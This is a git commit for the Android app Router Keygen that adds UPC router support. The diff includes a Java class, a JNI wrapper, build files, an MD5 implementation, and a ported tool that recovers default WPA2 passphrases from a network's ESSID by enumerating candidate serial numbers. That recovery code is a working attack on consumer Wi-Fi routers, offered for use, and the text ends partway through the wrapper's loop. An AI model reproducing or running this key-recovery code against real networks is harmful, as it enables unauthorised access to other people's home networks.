Added support for UPC routers
parent
d12ab7b296
commit
496b830ea5
@ -0,0 +1,119 @@
|
||||
package org.exobel.routerkeygen.algorithms;
|
||||
|
||||
import android.os.Parcel;
|
||||
import android.os.Parcelable;
|
||||
import android.util.Log;
|
||||
|
||||
import org.exobel.routerkeygen.R;
|
||||
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
|
||||
/*
|
||||
* Copyright 2016 Dusan Klinec, Miroslav Svitok
|
||||
*
|
||||
* This file is part of Router Keygen.
|
||||
*
|
||||
* Router Keygen is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* Router Keygen is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with Router Keygen. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
* Using UPC default key generator implemented by blasty.
|
||||
* Source: https://haxx.in/upc_keys.c
|
||||
*/
|
||||
public class UpcKeygen extends Keygen {
|
||||
private static final String TAG="UpcKeygen";
|
||||
private final List<String> computedKeys = new LinkedList<>();
|
||||
|
||||
static {
|
||||
System.loadLibrary("upc");
|
||||
}
|
||||
|
||||
public static final Parcelable.Creator<UpcKeygen> CREATOR = new Parcelable.Creator<UpcKeygen>() {
|
||||
public UpcKeygen createFromParcel(Parcel in) {
|
||||
return new UpcKeygen(in);
|
||||
}
|
||||
public UpcKeygen[] newArray(int size) {
|
||||
return new UpcKeygen[size];
|
||||
}
|
||||
};
|
||||
|
||||
public UpcKeygen(String ssid, String mac) {
|
||||
super(ssid, mac);
|
||||
}
|
||||
|
||||
private UpcKeygen(Parcel in) {
|
||||
super(in);
|
||||
}
|
||||
|
||||
@Override
|
||||
public int getSupportState() {
|
||||
if (getSsidName().matches("UPC[0-9]{7}")) {
|
||||
return SUPPORTED;
|
||||
} else if (getSsidName().matches("UPC[0-9]{5,6}")) {
|
||||
return UNLIKELY_SUPPORTED;
|
||||
} else if (getSsidName().matches("UPC[0-9]{8}")) {
|
||||
return UNLIKELY_SUPPORTED;
|
||||
}
|
||||
|
||||
return UNSUPPORTED;
|
||||
}
|
||||
|
||||
@Override
|
||||
public synchronized void setStopRequested(boolean stopRequested) {
|
||||
super.setStopRequested(stopRequested);
|
||||
}
|
||||
|
||||
/**
|
||||
* Called by native code when a key is computed.
|
||||
*/
|
||||
public void onKeyComputed(String key){
|
||||
computedKeys.add(key);
|
||||
}
|
||||
|
||||
/**
|
||||
* Called by native code when a progress in computation is made.
|
||||
* @param progress 0..1 value. 0=0%, 1=100%
|
||||
*/
|
||||
public void onProgressed(double progress){
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getKeys() {
|
||||
String[] results = null;
|
||||
try {
|
||||
Log.d(TAG, "Starting a new task for ssid: " + getSsidName());
|
||||
upcNative(getSsidName().getBytes("US-ASCII"));
|
||||
results = computedKeys.toArray(new String[computedKeys.size()]);
|
||||
|
||||
} catch (Exception e) {
|
||||
Log.e(TAG, "Exception in native computation", e);
|
||||
setErrorCode(R.string.msg_err_native);
|
||||
}
|
||||
|
||||
if (isStopRequested() || results == null)
|
||||
return null;
|
||||
for (String result : results)
|
||||
addPassword(result);
|
||||
if (getResults().size() == 0)
|
||||
setErrorCode(R.string.msg_errnomatches);
|
||||
return getResults();
|
||||
}
|
||||
|
||||
/**
|
||||
* Native key generator implementation.
|
||||
* @param essid
|
||||
* @return
|
||||
*/
|
||||
private native void upcNative(byte[] essid);
|
||||
}
|
@ -0,0 +1,11 @@
|
||||
UPC key generator
|
||||
-----------------
|
||||
|
||||
JNI wrapper for http://haxx.in/upc_keys.c
|
||||
Use at your own risk and responsibility.
|
||||
|
||||
Credit goes to blasty <peter@haxx.in> // 20151231
|
||||
|
||||
Idea & implementation:
|
||||
ph4r05 (Dusan)
|
||||
miroc (Miro)
|
@ -0,0 +1,35 @@
|
||||
MODULE_PATH := $(call my-dir)/..
|
||||
###################
|
||||
# UPC key gen #
|
||||
###################
|
||||
include $(CLEAR_VARS)
|
||||
LOCAL_PATH := $(MODULE_PATH)
|
||||
|
||||
# Shared library name
|
||||
LOCAL_MODULE := upc
|
||||
|
||||
# Include self headers
|
||||
LOCAL_C_INCLUDES += $(LOCAL_PATH)/include
|
||||
|
||||
# Source files
|
||||
JNI_SRC_DIR := src
|
||||
LOCAL_SRC_FILES := $(JNI_SRC_DIR)/md5.c $(JNI_SRC_DIR)/upc_keys.c $(JNI_SRC_DIR)/upc_keys_wrapper.c
|
||||
|
||||
# Android logging + dynamic linking
|
||||
LOCAL_LDLIBS += -llog -ldl
|
||||
|
||||
ifeq ($(MY_USE_STATIC_SSL),1)
|
||||
# This is to do builds with full openssl built in.
|
||||
# Not use unless you know what you do and create a ssl_static target in openssl lib
|
||||
LOCAL_STATIC_LIBRARIES += ssl_static crypto_static
|
||||
LOCAL_LDLIBS += -lz
|
||||
else
|
||||
# Normal mainstream users mode
|
||||
LOCAL_STATIC_LIBRARIES += crypto_ec_static
|
||||
LOCAL_SHARED_LIBRARIES += libssl libcrypto
|
||||
endif
|
||||
|
||||
|
||||
LOCAL_STATIC_LIBRARIES += libgcc
|
||||
include $(BUILD_SHARED_LIBRARY)
|
||||
|
@ -0,0 +1,57 @@
|
||||
/*
|
||||
* This is an OpenSSL-compatible implementation of the RSA Data Security, Inc.
|
||||
* MD5 Message-Digest Algorithm (RFC 1321).
|
||||
*
|
||||
* Homepage:
|
||||
* http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
|
||||
*
|
||||
* Author:
|
||||
* Alexander Peslyak, better known as Solar Designer <solar at openwall.com>
|
||||
*
|
||||
* This software was written by Alexander Peslyak in 2001. No copyright is
|
||||
* claimed, and the software is hereby placed in the public domain.
|
||||
* In case this attempt to disclaim copyright and place the software in the
|
||||
* public domain is deemed null and void, then the software is
|
||||
* Copyright (c) 2001 Alexander Peslyak and it is hereby released to the
|
||||
* general public under the following terms:
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted.
|
||||
*
|
||||
* There's ABSOLUTELY NO WARRANTY, express or implied.
|
||||
*
|
||||
* See md5.c for more information.
|
||||
*/
|
||||
|
||||
#ifndef ANDROID_MD5_H
|
||||
#define ANDROID_MD5_H
|
||||
|
||||
#ifdef HAVE_OPENSSL
|
||||
#include <openssl/md5.h>
|
||||
#elif !defined(_MD5_H)
|
||||
#define _MD5_H
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Any 32-bit or wider unsigned integer data type will do */
|
||||
typedef unsigned int MD5_u32plus;
|
||||
|
||||
typedef struct {
|
||||
MD5_u32plus lo, hi;
|
||||
MD5_u32plus a, b, c, d;
|
||||
unsigned char buffer[64];
|
||||
MD5_u32plus block[16];
|
||||
} MD5_CTX;
|
||||
|
||||
extern void MD5_Init(MD5_CTX *ctx);
|
||||
extern void MD5_Update(MD5_CTX *ctx, const void *data, unsigned long size);
|
||||
extern void MD5_Final(unsigned char *result, MD5_CTX *ctx);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif //ANDROID_MD5_H
|
@ -0,0 +1,30 @@
|
||||
//
|
||||
// Created by Dusan Klinec on 06.01.16.
|
||||
//
|
||||
|
||||
#ifndef ANDROID_UPC_KEYS_H
|
||||
#define ANDROID_UPC_KEYS_H
|
||||
|
||||
#define MAGIC_24GHZ 0xffd9da60
|
||||
#define MAGIC_5GHZ 0xff8d8f20
|
||||
#define MAGIC0 0xb21642c9ll
|
||||
#define MAGIC1 0x68de3afll
|
||||
#define MAGIC2 0x6b5fca6bll
|
||||
|
||||
#define MAX0 9
|
||||
#define MAX1 99
|
||||
#define MAX2 9
|
||||
#define MAX3 9999
|
||||
#define MAX_ITERATIONS ((long)((MAX0)+1L)*(long)((MAX1)+1L)*(long)((MAX2)+1L)*(long)((MAX3)+1L))
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
extern void hash2pass(uint8_t *in_hash, char *out_pass);
|
||||
extern uint32_t mangle(uint32_t *pp);
|
||||
extern uint32_t upc_generate_ssid(uint32_t* data, uint32_t magic);
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif //ANDROID_UPC_KEYS_H
|
@ -0,0 +1,27 @@
|
||||
/* DO NOT EDIT THIS FILE - it is machine generated */
|
||||
#include <jni.h>
|
||||
/* Header for class org_exobel_routerkeygen_algorithms_UpcKeygen */
|
||||
|
||||
#ifndef _Included_org_exobel_routerkeygen_algorithms_UpcKeygen
|
||||
#define _Included_org_exobel_routerkeygen_algorithms_UpcKeygen
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
#undef org_exobel_routerkeygen_algorithms_UpcKeygen_SUPPORTED
|
||||
#define org_exobel_routerkeygen_algorithms_UpcKeygen_SUPPORTED 2L
|
||||
#undef org_exobel_routerkeygen_algorithms_UpcKeygen_UNLIKELY_SUPPORTED
|
||||
#define org_exobel_routerkeygen_algorithms_UpcKeygen_UNLIKELY_SUPPORTED 1L
|
||||
#undef org_exobel_routerkeygen_algorithms_UpcKeygen_UNSUPPORTED
|
||||
#define org_exobel_routerkeygen_algorithms_UpcKeygen_UNSUPPORTED 0L
|
||||
/*
|
||||
* Class: org_exobel_routerkeygen_algorithms_UpcKeygen
|
||||
* Method: upcNative
|
||||
* Signature: ([B[BI)[Ljava/lang/String;
|
||||
*/
|
||||
JNIEXPORT void JNICALL Java_org_exobel_routerkeygen_algorithms_UpcKeygen_upcNative
|
||||
(JNIEnv *, jobject, jbyteArray);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
#endif
|
@ -0,0 +1,299 @@
|
||||
//
|
||||
// Created by Dusan Klinec on 06.01.16.
|
||||
//
|
||||
/*
|
||||
* This is an OpenSSL-compatible implementation of the RSA Data Security, Inc.
|
||||
* MD5 Message-Digest Algorithm (RFC 1321).
|
||||
*
|
||||
* Homepage:
|
||||
* http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
|
||||
*
|
||||
* Author:
|
||||
* Alexander Peslyak, better known as Solar Designer <solar at openwall.com>
|
||||
*
|
||||
* This software was written by Alexander Peslyak in 2001. No copyright is
|
||||
* claimed, and the software is hereby placed in the public domain.
|
||||
* In case this attempt to disclaim copyright and place the software in the
|
||||
* public domain is deemed null and void, then the software is
|
||||
* Copyright (c) 2001 Alexander Peslyak and it is hereby released to the
|
||||
* general public under the following terms:
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted.
|
||||
*
|
||||
* There's ABSOLUTELY NO WARRANTY, express or implied.
|
||||
*
|
||||
* (This is a heavily cut-down "BSD license".)
|
||||
*
|
||||
* This differs from Colin Plumb's older public domain implementation in that
|
||||
* no exactly 32-bit integer data type is required (any 32-bit or wider
|
||||
* unsigned integer data type will do), there's no compile-time endianness
|
||||
* configuration, and the function prototypes match OpenSSL's. No code from
|
||||
* Colin Plumb's implementation has been reused; this comment merely compares
|
||||
* the properties of the two independent implementations.
|
||||
*
|
||||
* The primary goals of this implementation are portability and ease of use.
|
||||
* It is meant to be fast, but not as fast as possible. Some known
|
||||
* optimizations are not included to reduce source code size and avoid
|
||||
* compile-time configuration.
|
||||
*/
|
||||
|
||||
#ifndef HAVE_OPENSSL
|
||||
|
||||
#include <string.h>
|
||||
|
||||
#include "md5.h"
|
||||
|
||||
/*
|
||||
* The basic MD5 functions.
|
||||
*
|
||||
* F and G are optimized compared to their RFC 1321 definitions for
|
||||
* architectures that lack an AND-NOT instruction, just like in Colin Plumb's
|
||||
* implementation.
|
||||
*/
|
||||
#define F(x, y, z) ((z) ^ ((x) & ((y) ^ (z))))
|
||||
#define G(x, y, z) ((y) ^ ((z) & ((x) ^ (y))))
|
||||
#define H(x, y, z) (((x) ^ (y)) ^ (z))
|
||||
#define H2(x, y, z) ((x) ^ ((y) ^ (z)))
|
||||
#define I(x, y, z) ((y) ^ ((x) | ~(z)))
|
||||
|
||||
/*
|
||||
* The MD5 transformation for all four rounds.
|
||||
*/
|
||||
#define STEP(f, a, b, c, d, x, t, s) \
|
||||
(a) += f((b), (c), (d)) + (x) + (t); \
|
||||
(a) = (((a) << (s)) | (((a) & 0xffffffff) >> (32 - (s)))); \
|
||||
(a) += (b);
|
||||
|
||||
/*
|
||||
* SET reads 4 input bytes in little-endian byte order and stores them
|
||||
* in a properly aligned word in host byte order.
|
||||
*
|
||||
* The check for little-endian architectures that tolerate unaligned
|
||||
* memory accesses is just an optimization. Nothing will break if it
|
||||
* doesn't work.
|
||||
*/
|
||||
#if defined(__i386__) || defined(__x86_64__) || defined(__vax__)
|
||||
#define SET(n) \
|
||||
(*(MD5_u32plus *)&ptr[(n) * 4])
|
||||
#define GET(n) \
|
||||
SET(n)
|
||||
#else
|
||||
#define SET(n) \
|
||||
(ctx->block[(n)] = \
|
||||
(MD5_u32plus)ptr[(n) * 4] | \
|
||||
((MD5_u32plus)ptr[(n) * 4 + 1] << 8) | \
|
||||
((MD5_u32plus)ptr[(n) * 4 + 2] << 16) | \
|
||||
((MD5_u32plus)ptr[(n) * 4 + 3] << 24))
|
||||
#define GET(n) \
|
||||
(ctx->block[(n)])
|
||||
#endif
|
||||
|
||||
/*
|
||||
* This processes one or more 64-byte data blocks, but does NOT update
|
||||
* the bit counters. There are no alignment requirements.
|
||||
*/
|
||||
static const void *body(MD5_CTX *ctx, const void *data, unsigned long size)
|
||||
{
|
||||
const unsigned char *ptr;
|
||||
MD5_u32plus a, b, c, d;
|
||||
MD5_u32plus saved_a, saved_b, saved_c, saved_d;
|
||||
|
||||
ptr = (const unsigned char *)data;
|
||||
|
||||
a = ctx->a;
|
||||
b = ctx->b;
|
||||
c = ctx->c;
|
||||
d = ctx->d;
|
||||
|
||||
do {
|
||||
saved_a = a;
|
||||
saved_b = b;
|
||||
saved_c = c;
|
||||
saved_d = d;
|
||||
|
||||
/* Round 1 */
|
||||
STEP(F, a, b, c, d, SET(0), 0xd76aa478, 7)
|
||||
STEP(F, d, a, b, c, SET(1), 0xe8c7b756, 12)
|
||||
STEP(F, c, d, a, b, SET(2), 0x242070db, 17)
|
||||
STEP(F, b, c, d, a, SET(3), 0xc1bdceee, 22)
|
||||
STEP(F, a, b, c, d, SET(4), 0xf57c0faf, 7)
|
||||
STEP(F, d, a, b, c, SET(5), 0x4787c62a, 12)
|
||||
STEP(F, c, d, a, b, SET(6), 0xa8304613, 17)
|
||||
STEP(F, b, c, d, a, SET(7), 0xfd469501, 22)
|
||||
STEP(F, a, b, c, d, SET(8), 0x698098d8, 7)
|
||||
STEP(F, d, a, b, c, SET(9), 0x8b44f7af, 12)
|
||||
STEP(F, c, d, a, b, SET(10), 0xffff5bb1, 17)
|
||||
STEP(F, b, c, d, a, SET(11), 0x895cd7be, 22)
|
||||
STEP(F, a, b, c, d, SET(12), 0x6b901122, 7)
|
||||
STEP(F, d, a, b, c, SET(13), 0xfd987193, 12)
|
||||
STEP(F, c, d, a, b, SET(14), 0xa679438e, 17)
|
||||
STEP(F, b, c, d, a, SET(15), 0x49b40821, 22)
|
||||
|
||||
/* Round 2 */
|
||||
STEP(G, a, b, c, d, GET(1), 0xf61e2562, 5)
|
||||
STEP(G, d, a, b, c, GET(6), 0xc040b340, 9)
|
||||
STEP(G, c, d, a, b, GET(11), 0x265e5a51, 14)
|
||||
STEP(G, b, c, d, a, GET(0), 0xe9b6c7aa, 20)
|
||||
STEP(G, a, b, c, d, GET(5), 0xd62f105d, 5)
|
||||
STEP(G, d, a, b, c, GET(10), 0x02441453, 9)
|
||||
STEP(G, c, d, a, b, GET(15), 0xd8a1e681, 14)
|
||||
STEP(G, b, c, d, a, GET(4), 0xe7d3fbc8, 20)
|
||||
STEP(G, a, b, c, d, GET(9), 0x21e1cde6, 5)
|
||||
STEP(G, d, a, b, c, GET(14), 0xc33707d6, 9)
|
||||
STEP(G, c, d, a, b, GET(3), 0xf4d50d87, 14)
|
||||
STEP(G, b, c, d, a, GET(8), 0x455a14ed, 20)
|
||||
STEP(G, a, b, c, d, GET(13), 0xa9e3e905, 5)
|
||||
STEP(G, d, a, b, c, GET(2), 0xfcefa3f8, 9)
|
||||
STEP(G, c, d, a, b, GET(7), 0x676f02d9, 14)
|
||||
STEP(G, b, c, d, a, GET(12), 0x8d2a4c8a, 20)
|
||||
|
||||
/* Round 3 */
|
||||
STEP(H, a, b, c, d, GET(5), 0xfffa3942, 4)
|
||||
STEP(H2, d, a, b, c, GET(8), 0x8771f681, 11)
|
||||
STEP(H, c, d, a, b, GET(11), 0x6d9d6122, 16)
|
||||
STEP(H2, b, c, d, a, GET(14), 0xfde5380c, 23)
|
||||
STEP(H, a, b, c, d, GET(1), 0xa4beea44, 4)
|
||||
STEP(H2, d, a, b, c, GET(4), 0x4bdecfa9, 11)
|
||||
STEP(H, c, d, a, b, GET(7), 0xf6bb4b60, 16)
|
||||
STEP(H2, b, c, d, a, GET(10), 0xbebfbc70, 23)
|
||||
STEP(H, a, b, c, d, GET(13), 0x289b7ec6, 4)
|
||||
STEP(H2, d, a, b, c, GET(0), 0xeaa127fa, 11)
|
||||
STEP(H, c, d, a, b, GET(3), 0xd4ef3085, 16)
|
||||
STEP(H2, b, c, d, a, GET(6), 0x04881d05, 23)
|
||||
STEP(H, a, b, c, d, GET(9), 0xd9d4d039, 4)
|
||||
STEP(H2, d, a, b, c, GET(12), 0xe6db99e5, 11)
|
||||
STEP(H, c, d, a, b, GET(15), 0x1fa27cf8, 16)
|
||||
STEP(H2, b, c, d, a, GET(2), 0xc4ac5665, 23)
|
||||
|
||||
/* Round 4 */
|
||||
STEP(I, a, b, c, d, GET(0), 0xf4292244, 6)
|
||||
STEP(I, d, a, b, c, GET(7), 0x432aff97, 10)
|
||||
STEP(I, c, d, a, b, GET(14), 0xab9423a7, 15)
|
||||
STEP(I, b, c, d, a, GET(5), 0xfc93a039, 21)
|
||||
STEP(I, a, b, c, d, GET(12), 0x655b59c3, 6)
|
||||
STEP(I, d, a, b, c, GET(3), 0x8f0ccc92, 10)
|
||||
STEP(I, c, d, a, b, GET(10), 0xffeff47d, 15)
|
||||
STEP(I, b, c, d, a, GET(1), 0x85845dd1, 21)
|
||||
STEP(I, a, b, c, d, GET(8), 0x6fa87e4f, 6)
|
||||
STEP(I, d, a, b, c, GET(15), 0xfe2ce6e0, 10)
|
||||
STEP(I, c, d, a, b, GET(6), 0xa3014314, 15)
|
||||
STEP(I, b, c, d, a, GET(13), 0x4e0811a1, 21)
|
||||
STEP(I, a, b, c, d, GET(4), 0xf7537e82, 6)
|
||||
STEP(I, d, a, b, c, GET(11), 0xbd3af235, 10)
|
||||
STEP(I, c, d, a, b, GET(2), 0x2ad7d2bb, 15)
|
||||
STEP(I, b, c, d, a, GET(9), 0xeb86d391, 21)
|
||||
|
||||
a += saved_a;
|
||||
b += saved_b;
|
||||
c += saved_c;
|
||||
d += saved_d;
|
||||
|
||||
ptr += 64;
|
||||
} while (size -= 64);
|
||||
|
||||
ctx->a = a;
|
||||
ctx->b = b;
|
||||
ctx->c = c;
|
||||
ctx->d = d;
|
||||
|
||||
return ptr;
|
||||
}
|
||||
|
||||
void MD5_Init(MD5_CTX *ctx)
|
||||
{
|
||||
ctx->a = 0x67452301;
|
||||
ctx->b = 0xefcdab89;
|
||||
ctx->c = 0x98badcfe;
|
||||
ctx->d = 0x10325476;
|
||||
|
||||
ctx->lo = 0;
|
||||
ctx->hi = 0;
|
||||
}
|
||||
|
||||
void MD5_Update(MD5_CTX *ctx, const void *data, unsigned long size)
|
||||
{
|
||||
MD5_u32plus saved_lo;
|
||||
unsigned long used, available;
|
||||
|
||||
saved_lo = ctx->lo;
|
||||
if ((ctx->lo = (saved_lo + size) & 0x1fffffff) < saved_lo)
|
||||
ctx->hi++;
|
||||
ctx->hi += size >> 29;
|
||||
|
||||
used = saved_lo & 0x3f;
|
||||
|
||||
if (used) {
|
||||
available = 64 - used;
|
||||
|
||||
if (size < available) {
|
||||
memcpy(&ctx->buffer[used], data, size);
|
||||
return;
|
||||
}
|
||||
|
||||
memcpy(&ctx->buffer[used], data, available);
|
||||
data = (const unsigned char *)data + available;
|
||||
size -= available;
|
||||
body(ctx, ctx->buffer, 64);
|
||||
}
|
||||
|
||||
if (size >= 64) {
|
||||
data = body(ctx, data, size & ~(unsigned long)0x3f);
|
||||
size &= 0x3f;
|
||||
}
|
||||
|
||||
memcpy(ctx->buffer, data, size);
|
||||
}
|
||||
|
||||
void MD5_Final(unsigned char *result, MD5_CTX *ctx)
|
||||
{
|
||||
unsigned long used, available;
|
||||
|
||||
used = ctx->lo & 0x3f;
|
||||
|
||||
ctx->buffer[used++] = 0x80;
|
||||
|
||||
available = 64 - used;
|
||||
|
||||
if (available < 8) {
|
||||
memset(&ctx->buffer[used], 0, available);
|
||||
body(ctx, ctx->buffer, 64);
|
||||
used = 0;
|
||||
available = 64;
|
||||
}
|
||||
|
||||
memset(&ctx->buffer[used], 0, available - 8);
|
||||
|
||||
ctx->lo <<= 3;
|
||||
ctx->buffer[56] = ctx->lo;
|
||||
ctx->buffer[57] = ctx->lo >> 8;
|
||||
ctx->buffer[58] = ctx->lo >> 16;
|
||||
ctx->buffer[59] = ctx->lo >> 24;
|
||||
ctx->buffer[60] = ctx->hi;
|
||||
ctx->buffer[61] = ctx->hi >> 8;
|
||||
ctx->buffer[62] = ctx->hi >> 16;
|
||||
ctx->buffer[63] = ctx->hi >> 24;
|
||||
|
||||
body(ctx, ctx->buffer, 64);
|
||||
|
||||
result[0] = ctx->a;
|
||||
result[1] = ctx->a >> 8;
|
||||
result[2] = ctx->a >> 16;
|
||||
result[3] = ctx->a >> 24;
|
||||
result[4] = ctx->b;
|
||||
result[5] = ctx->b >> 8;
|
||||
result[6] = ctx->b >> 16;
|
||||
result[7] = ctx->b >> 24;
|
||||
result[8] = ctx->c;
|
||||
result[9] = ctx->c >> 8;
|
||||
result[10] = ctx->c >> 16;
|
||||
result[11] = ctx->c >> 24;
|
||||
result[12] = ctx->d;
|
||||
result[13] = ctx->d >> 8;
|
||||
result[14] = ctx->d >> 16;
|
||||
result[15] = ctx->d >> 24;
|
||||
|
||||
memset(ctx, 0, sizeof(*ctx));
|
||||
}
|
||||
|
||||
#endif
|
@ -0,0 +1,90 @@
|
||||
/*
|
||||
* upc_keys.c -- WPA2 passphrase recovery tool for UPC%07d devices
|
||||
* ===============================================================
|
||||
* You'd think vendors would stop using weak algorithms that allow
|
||||
* people to recover the credentials for a WiFi network based on
|
||||
* purely the ESSID. Sadly, these days aren't over yet. We've seen
|
||||
* some excellent recent research by Novella/Meijer/Verdult [1][2]
|
||||
* lately which illustrates that these issues still exist in recent
|
||||
* devices/firmwares. I set out to dig up one of these algorithms
|
||||
* and came up with this little tool.
|
||||
*
|
||||
* The attack is two-fold; in order to generate the single valid
|
||||
* WPA2 phrase for a given network we need to know the serialnumber
|
||||
* of the device.. which we don't have. Luckily there's a correlation
|
||||
* between the ESSID and serial number as well, so we can generate a
|
||||
* list of 'candidate' serial numbers (usually around ~20 or so) for
|
||||
* a given ESSID and generate the corresponding WPA2 phrase for each
|
||||
* serial. (This should take under a second on a reasonable system)
|
||||
*
|
||||
* Use at your own risk and responsibility. Do not complain if it
|
||||
* fails to recover some keys, there could very well be variations
|
||||
* out there I am not aware of. Do not contact me for support.
|
||||
*
|
||||
* Cheerz to p00pf1ng3r for the code cleanup! *burp* ;-)
|
||||
* Hugs to all old & new friends who managed to make it down to 32c3! ykwya!
|
||||
*
|
||||
* Happy haxxing in 2016! ;-]
|
||||
*
|
||||
* Cya,
|
||||
* blasty <peter@haxx.in> // 20151231
|
||||
*
|
||||
* P.S. Reversing eCos and broadcom CFE sux
|
||||
* P.P.S. I don't think this is able to recover phrases for 5ghz networks
|
||||
* atm but I will look into fixing this soon once I find some time, someone
|
||||
* else can feel free to one up me as well. ;-)
|
||||
*
|
||||
* $ gcc -O2 -o upc_keys upc_keys.c -lcrypto
|
||||
*
|
||||
* References
|
||||
* [1] https://www.usenix.org/system/files/conference/woot15/woot15-paper-lorente.pdf
|
||||
* [2] http://archive.hack.lu/2015/hacklu15_enovella_reversing_routers.pdf
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include "upc_keys.h"
|
||||
|
||||
void hash2pass(uint8_t *in_hash, char *out_pass)
|
||||
{
|
||||
uint32_t i, a;
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
a = in_hash[i] & 0x1f;
|
||||
a -= ((a * MAGIC0) >> 36) * 23;
|
||||
|
||||
a = (a & 0xff) + 0x41;
|
||||
|
||||
if (a >= 'I') a++;
|
||||
if (a >= 'L') a++;
|
||||
if (a >= 'O') a++;
|
||||
|
||||
out_pass[i] = a;
|
||||
}
|
||||
out_pass[8] = 0;
|
||||
}
|
||||
|
||||
uint32_t mangle(uint32_t *pp)
|
||||
{
|
||||
uint32_t a, b;
|
||||
|
||||
a = ((pp[3] * MAGIC1) >> 40) - (pp[3] >> 31);
|
||||
b = (pp[3] - a * 9999 + 1) * 11ll;
|
||||
|
||||
return b * (pp[1] * 100 + pp[2] * 10 + pp[0]);
|
||||
}
|
||||
|
||||
uint32_t upc_generate_ssid(uint32_t* data, uint32_t magic)
|
||||
{
|
||||
uint32_t a, b;
|
||||
|
||||
a = data[1] * 10 + data[2];
|
||||
b = data[0] * 2500000 + a * 6800 + data[3] + magic;
|
||||
|
||||
return b - (((b * MAGIC2) >> 54) - (b >> 31)) * 10000000;
|
||||
}
|
||||
|
||||
|
@ -0,0 +1,112 @@
|
||||
#include <android/log.h>
|
||||
#include <ctype.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "upc_keys_wrapper.h"
|
||||
#include "upc_keys.h"
|
||||
#include "md5.h"
|
||||
|
||||
// Logging
|
||||
#define LOG_TAG "upc_keys"
|
||||
#define DPRINTF(...) __android_log_print(ANDROID_LOG_DEBUG,LOG_TAG,__VA_ARGS__)
|
||||
#define IPRINTF(...) __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__)
|
||||
#define EPRINTF(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)
|
||||
|
||||
JNIEXPORT void JNICALL Java_org_exobel_routerkeygen_algorithms_UpcKeygen_upcNative
|
||||
(JNIEnv * env, jobject obj, jbyteArray ess)
|
||||
{
|
||||
// Get stopRequested - cancellation flag.
|
||||
jclass cls = (*env)->GetObjectClass(env, obj);
|
||||
jfieldID fid_s = (*env)->GetFieldID(env, cls, "stopRequested", "Z");
|
||||
if (fid_s == NULL) {
|
||||
return; /* exception already thrown */
|
||||
}
|
||||
unsigned char stop = (*env)->GetBooleanField(env, obj, fid_s);
|
||||
|
||||
// Monitoring methods
|
||||
jmethodID on_key_computed = (*env)->GetMethodID(env, cls, "onKeyComputed", "(Ljava/lang/String;)V");
|
||||
jmethodID on_progressed = (*env)->GetMethodID(env, cls, "onProgressed", "(D)V");
|
||||
if (on_key_computed == NULL || on_progressed == NULL){
|
||||
return;
|
||||
}
|
||||
|
||||
// ESSID reading from parameter.
|
||||
jbyte *e_native = (*env)->GetByteArrayElements(env, ess, 0);
|
||||
char * e_ssid = (char*) e_native;
|
||||
|
||||
// Definitions.
|
||||
MD5_CTX ctx;
|
||||
uint8_t message_digest[20];
|
||||
uint32_t buf[4], target;
|
||||
char serial[64];
|
||||
char pass[9], tmpstr[17];
|
||||
uint8_t h1[16], h2[16];
|
||||
uint32_t hv[4], w1, w2, i, cnt=0;
|
||||
|
||||
target = strtoul(e_ssid + 3, NULL, 0);
|
||||
IPRINTF("Computing UPC keys for essid [%s], target %lu", e_ssid, (unsigned long)target);
|
||||
unsigned long stop_ctr = 0;
|
||||
unsigned long iter_ctr = 0;
|
||||
|
||||
// Compute - from upc_keys.c
|
||||
for (buf[0] = 0; buf[0] <= MAX0; buf[0]++) {
|
||||
for (buf[1] = 0; buf[1] <= MAX1; buf[1]++) {
|
||||
for (buf[2] = 0; buf[2] <= MAX2; buf[2]++) {
|
||||
for (buf[3] = 0; buf[3] <= MAX3; buf[3]++) {
|
||||
// Check cancellation signal & progress monitoring.
|
||||
stop_ctr += 1;
|
||||
iter_ctr += 1;
|
||||
if (stop_ctr > (MAX_ITERATIONS/2000)){
|
||||
stop_ctr = 0;
|
||||
stop = (*env)->GetBooleanField(env, obj, fid_s);
|
||||
if (stop) {
|
||||
break;
|
||||
}
|
||||
|
||||
double current_progress = (double)iter_ctr / MAX_ITERATIONS;
|
||||
(*env)->CallVoidMethod(env, obj, on_progressed, (jdouble)current_progress);
|
||||
}
|
||||
|
||||
if (upc_generate_ssid(buf, MAGIC_24GHZ) != target && upc_generate_ssid(buf, MAGIC_5GHZ) != target) {
|
||||
continue;
|
||||
}
|
||||
|
||||
cnt++;
|
||||
sprintf(serial, "SAAP%d%02d%d%04d", buf[0], buf[1], buf[2], buf[3]);
|
||||
|
||||
MD5_Init(&ctx);
|
||||
MD5_Update(&ctx, serial, strlen(serial));
|
||||
MD5_Final(h1, &ctx);
|
||||
|
||||
for (i = 0; i < 4; i++) {
|
||||
